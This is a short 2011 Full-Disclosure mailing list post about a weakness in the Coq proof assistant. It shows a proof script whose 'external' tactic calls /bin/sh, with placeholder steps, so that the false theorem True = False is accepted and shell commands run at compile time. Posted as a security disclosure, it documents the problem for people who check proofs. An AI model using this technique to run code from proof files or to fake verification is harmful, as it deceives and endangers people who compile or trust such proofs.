[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [Full-disclosure] proving _anything_ in the Coq proof assistant (in addition to code execution). ``coqchk'' passes too
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: Re: [Full-disclosure] proving _anything_ in the Coq proof assistant (in addition to code execution). ``coqchk'' passes too
- From: Georgi Guninski <guninski@xxxxxxxxxxxx>
- Date: Wed, 4 May 2011 12:49:16 +0300
On Tue, May 03, 2011 at 04:27:29PM +0300, Georgi Guninski wrote:
> 10x.
>
> what about this scenario, is it reallistic:
>
> i claim i have a proof of X. the proof is thousands of files.
> lambda.v is the plugin and coqc is invoked on only top.v ?
>
>
if i read the fine manual, i would have saved myself the ocaml troubles
Theorem really: True = False.
Proof.
external "/bin/sh" "ESCAPE_SEQ; write_vo_proof; nicely_kill_coq ;" True.
(* this invokes /bin/sh. suited for formal software verification *)
Qed.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/